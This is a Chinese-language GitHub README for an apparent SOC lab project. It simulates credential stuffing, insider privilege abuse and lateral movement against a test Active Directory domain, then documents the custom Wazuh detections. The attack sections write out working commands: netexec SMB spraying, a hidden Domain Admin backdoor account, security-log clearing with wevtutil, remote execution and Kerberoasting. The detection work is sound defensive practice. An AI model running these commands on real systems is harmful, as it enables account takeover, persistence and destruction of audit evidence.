Moses-Kinuthia/Financial-Fraud-Cyber-Threat-Detection-Pipeline

GitHub: Moses-Kinuthia/Financial-Fraud-Cyber-Threat-Detection-Pipeline

端到端的 SOC 检测工程项目,在 Active Directory 环境中模拟金融攻击场景并编写自定义 Wazuh 检测规则,同时映射 MITRE ATT&CK 和 PCI-DSS 合规框架。

Stars: 1 | Forks: 0

# 金融欺诈 → 网络威胁检测 Pipeline ![Wazuh](https://img.shields.io/badge/SIEM-Wazuh%204.14.1-blue) ![MITRE](https://img.shields.io/badge/MITRE-ATT%26CK-red) ![Lab](https://img.shields.io/badge/Environment-SOC%20Lab-green) ![Focus](https://img.shields.io/badge/Security-Detection%20Engineering-orange) ![Status](https://img.shields.io/badge/Project-Completed-success) ## SOC 执行摘要 **模拟内容:** - 针对 Active Directory 的凭证填充攻击(SMB/NTLM 身份验证) - 涉及域控制器上特权账户滥用的内部威胁活动 - 初始失陷后跨内部 Windows 终端的横向移动 **检测结果:** - 身份验证失败激增(事件 ID 4625, 4771) - 权限提升和账户操纵(事件 ID 4720, 4728) - 包括日志清除在内的反取证行为(事件 ID 1102) - 通过 SMB 和 Kerberos 异常表现出的横向移动模式(事件 ID 4624 Type 3, 4769) **模拟的业务风险:** - 通过凭证填充进行的银行客户账户接管 (ATO) - 由特权内部人员滥用促成的内部欺诈 - 通过凭证窃取和横向移动导致的域级别失陷风险 ## 目录 - [概述](#overview) - [实验室架构](#lab-architecture) - [场景 A — 账户接管](#scenario-a--account-takeover-credential-stuffing) - [场景 B — 内部威胁](#scenario-b--insider-threat-privileged-abuse) - [场景 C — 横向移动](#scenario-c--lateral-movement) - [自定义检测规则](#custom-detection-rules) - [检测工程决策](#detection-engineering-decisions) - [MITRE ATT&CK 映射](#mitre-attck-mapping) - [合规性映射](#compliance-mapping) - [威胁情报丰富化](#threat-intelligence-enrichment) - [SOC 可见性总结](#soc-visibility-summary) - [作者](#author) ## 概述 这是一个端到端的 SOC 检测工程项目,在 Active Directory 环境中模拟真实的金融网络攻击。本项目演示了 SOC 如何检测、调查和关联: - 账户接管(凭证填充) - 内部威胁(特权滥用) - 横向移动(失陷后攻击路径) 映射至: * MITRE ATT&CK 框架 * PCI-DSS 安全控制 * 银行欺诈检测场景 ## 实验室架构 | 组件 | 详情 | |---|---| | SIEM | Wazuh 4.14.1 — 10.0.10.11 | | 域控制器 | Windows Server 2019 — DC01 (10.0.0.10) | | 工作站 | Windows 10 Enterprise — WKSTNO1 (10.0.0.100) | | 攻击平台 | Kali Linux — 10.0.20.11 | | 防火墙 | pfSense — 隔离攻击/LAN/实验网子网 | | 域 | SOCLAB.local | ## 场景 A — 账户接管(凭证填充) ### 攻击执行 ### 侦察 ``` nmap -sS -sV -p 135,139,445,389,636,3389 10.0.0.10 -oN ~/lab/scenarioA_recon.txt ``` image ### 域枚举 ``` enum4linux-ng -A 10.0.0.10 | tee ~/lab/scenarioA_enum.txt ``` image ### 凭证填充攻击 ``` netexec smb 10.0.0.10 \ -u jkamau \ -p ~/lab/banking_passwords.txt \ --continue-on-success \ 2>&1 | tee ~/lab/scenarioA_netexec.txt ``` image ## 2️⃣ SIEM 检测 (Wazuh) **触发的告警:** | 规则 ID | 事件 ID | 描述 | 级别 | |---|---|---|---| | 18152 | 4625 | 多次身份验证失败 | 10 | | 18154 | 4740 | 账户被锁定 — jkamau | 10 | | 100035 | — | 凭证填充:在 60 秒内来自 10.0.20.11 的 5 次以上失败尝试 | 14 | ### 身份验证失败洪流 image image ### 账户锁定检测 image image ### 检测结果 - 规则 18152 在第一次失败尝试后的几秒钟内触发 — 分析师操作:隔离源 IP,强制重置 jkamau 的密码 - 规则 18154 确认突破锁定阈值 — 分析师操作:升级至欺诈团队,检查是否存在来自其他 IP 的并发成功登录 - 发现不足:低于 5 次尝试/60 秒阈值的慢速低频口令喷射可逃避检测 — 已通过规则 100005(1 小时时间窗口)缓解 # 🟠 场景 B — 内部威胁(特权滥用) ### 攻击执行 **AD 侦察(作为特权内部人员):** ``` Get-ADUser -Filter * -Properties * | Select Name,SamAccountName,LastLogonDate | Export-Csv C:\Temp\all_users.csv Get-ADGroupMember -Identity "Domain Admins" | Select Name,SamAccountName Get-ADComputer -Filter * -Properties * | Select Name,OperatingSystem ``` image image ### 敏感数据访问 ``` New-Item -Path "C:\SensitiveData" -ItemType Directory -Force Set-Content -Path "C:\SensitiveData\customer_accounts.txt" -Value "ACCOUNT: KE001, Balance: 450000, PIN: 1234" Get-Content "C:\SensitiveData\customer_accounts.txt" ``` image image ## 2️⃣ 持久化与滥用 ### 后门账户创建 ``` New-ADUser -Name "IT Support" ` -SamAccountName "itsupport_backup" ` -UserPrincipalName "itsupport_backup@SOCLAB.local" ` -Path "CN=Users,DC=SOCLAB,DC=local" ` -AccountPassword (ConvertTo-SecureString "Backdoor@2024!" -AsPlainText -Force) ` -Enabled $true Add-ADGroupMember -Identity "Domain Admins" -Members "itsupport_backup" ``` image image ### 权限提升 image ## 3️⃣ 反取证活动 ### 安全日志已清除(严重) ``` wevtutil cl Security ``` image ## 4️⃣ SIEM 检测 (Wazuh) | 规则 ID | 事件 ID | 描述 | 级别 | |---|---|---|---| | 18110 | 4720 | 已创建用户账户 — itsupport_backup | 8 | | 18141 | 4728 | 用户被添加到 Domain Admins | 8 | | 63102 | 1102 | 安全审计日志已清除 — 严重 | 12 | | 18108 | 4673 | 特权操作尝试失败 | 4 | image ## 🧠 检测结果 - 规则 18110 (4720) 在创建后门账户时立即触发 — 分析师操作:禁用账户,调查创建者近期的活动 - 规则 63102 (1102) 是确认的恶意指标 — 没有合法的管理员会在没有变更工单的情况下清除日志。分析师操作:立即升级,作为活跃事件处理 - 发现不足:在未启用 PowerShell Script Block Logging 的情况下,通过 Get-ADUser 进行的 AD 枚举不会生成安全事件 — 已通过启用事件 ID 4104 日志记录修复 # 🔵 场景 C — 横向移动 ## 1️⃣ 失陷后活动 (Kali) ### 攻击执行 **使用失陷的后门账户进行凭证重用:** ``` TARGET_USER="itsupport_backup" TARGET_PASS='Backdoor@2024!' # 验证对 WKSTNO1 的访问 netexec smb 10.0.0.100 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB # Enumerate shares netexec smb 10.0.0.100 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB --shares # Remote command execution netexec smb 10.0.0.100 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB -x "whoami && hostname" # Pivot 到 DC01 netexec smb 10.0.0.10 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB -x "net localgroup administrators" # Kerberoasting netexec ldap 10.0.0.10 -u "$TARGET_USER" -p "$TARGET_PASS" -d SOCLAB --kerberoasting ~/lab/kerberoast_hashes.txt ``` image image image image image image image image image image ### SIEM 检测 | 规则 ID | 事件 ID | 描述 | 级别 | |---|---|---|---| | 100020 | 4624 | 来自攻击段的网络登录 (Type 3) | 10 | | 18107 | 4672 | 新登录分配了特殊权限 | 8 | | 100021 | 4769 | Kerberoasting — RC4 TGS 请求 | 12 | | 100022 | 4688 | 由 services.exe 生成的远程 Shell | 13 | ### 检测结果 - 规则 100020 标记了从 `10.0.20.11` 到 WKSTNO1 的网络登录 — 分析师操作:追踪登录链,与基线进行比较 - Kerberoasting 模式(RC4 TGS 请求)被规则 100021 检测到 — 分析师操作:审计服务账户,强制仅使用 AES 加密 - 完整重建攻击者攻击链:Kali → WKSTNO1 → DC01 在 Wazuh 时间线中可见 # 自定义检测规则 完整规则文件:[`rules/local_rules.xml`](rules/local_rules.xml) 实现的关键规则: ``` 100030 ATO-DETECT: Credential stuffing in progress from Kali T1110.003 60106 1102 INSIDER-THREAT: CRITICAL - Security audit log cleared T1070.001 18105 Source Address: 10\.0\.20\.11 ATTACK DETECTED: Network scan/block from Kali Linux T1046 ``` ## 🔥 检测工程决策 **1. 基于频率的阈值(凭证填充)** 短时间窗口(60-120 秒)内的低阈值(5-20 个事件)平衡了敏感度与误报。旨在检测突发的 ATO 尝试,而不标记正常的用户输入错误。 **2. 内部威胁检测(低频,高危)** 权限提升事件罕见但影响极大。规则在单次发生时(4720, 1102)立即触发。优先考虑业务风险而非降低噪音。 **3. 反取证处理** 无论在何种上下文中,事件日志清除 (1102) 都被视为严重事件。不应用阈值设定 — 其在银行环境中的恶意相关性太高,无需依赖频率来判定。 **4. 横向移动关联** 时间窗口(30-120 秒)将 SMB 登录和远程执行关联起来,以重建跨多个主机的攻击者攻击链。 **5. MITRE 标签策略** 每条规则均映射至 ATT&CK 技术,以提高 SOC 分流效率和标准化报告。 **6. 银行 SOC 对齐** 检测逻辑反映了现实世界金融机构的约束:高告警量、快速欺诈检测要求以及严格的合规性日志记录。 # 🧠 MITRE ATT&CK 映射 | 技术 ID | 技术 | 场景 | |---|---|---| | T1110.003 | 密码喷射 | 场景 A | | T1078 | 有效账户 | 场景 A, C | | T1136.001 | 创建本地账户 | 场景 B | | T1078.002 | 域账户 | 场景 B | | T1070.001 | 清除 Windows 事件日志 | 场景 B | | T1003.003 | NTDS 凭证窃取 | 场景 B | | T1021.002 | SMB 横向移动 | 场景 C | | T1558.003 | Kerberoasting | 场景 C | | T1046 | 网络服务发现 | 场景 A, C | # 🏦 合规性映射 | 规则 ID | 检测项 | PCI-DSS | 银行控制 | |---|---|---|---| | 100035 | 凭证填充 | Req 10.2.4 | CBK:账户访问监控 | | 18154 | 账户锁定 | Req 8.1.6 | 客户保护控制 | | 18110 | 创建新账户 | Req 8.1.1 | 职责分离 | | 63102 | 审计日志已清除 | Req 10.5.1 | 日志完整性要求 | | 100020 | 来自攻击段的网络登录 | Req 10.2.4, 11.4 | 网络分段控制 | | 100021 | Kerberoasting | Req 8.6 | 服务账户加固 | # 🐍 威胁情报丰富化 ## 威胁情报丰富化 位于 [`scripts/enrich_alerts.py`](scripts/enrich_alerts.py) 的 Python 丰富化脚本为 Wazuh 告警导出数据丰富了以下内容: - AbuseIPDB 信誉评分 - 每个规则 ID 的 MITRE 技术映射 - 风险分类:INFO → LOW → MEDIUM → HIGH → CRITICAL - 分析师行动建议(MONITOR / ESCALATE) ``` pip install -r scripts/requirements.txt python3 scripts/enrich_alerts.py --input alerts.csv --output enriched_report.csv ``` # 📊 SOC 可见性总结 image **识别出的检测盲区:** - 通过 PowerShell cmdlet 进行的 AD 枚举需要启用 Script Block Logging (4104) — 默认不启用 - 低于频率阈值的慢速口令喷射可逃避突发检测 — 已通过 1 小时时间窗口规则解决 # 👤 作者 Moses Kinuthia 网络安全分析师 | SOC 工程 | 肯尼亚内罗毕 专注领域:检测工程 • 威胁情报 • SOC 自动化
标签:Active Directory, AI合规, ATO, Cloudflare, Kerberos异常, MITRE ATT&CK, PCI-DSS, PE 加载器, Plaso, SMB协议, SOC检测工程, Terraform 安全, Wazuh, 内部威胁, 凭据填充, 反取证, 威胁情报, 安全可见性, 安全合规, 安全评估, 开发者工具, 日志清除, 检测规则, 模拟器, 横向移动, 特权滥用, 端到端SOC, 编程规范, 网络代理, 网络安全实验, 网络资产发现, 账户接管, 逆向工具, 金融欺诈, 风控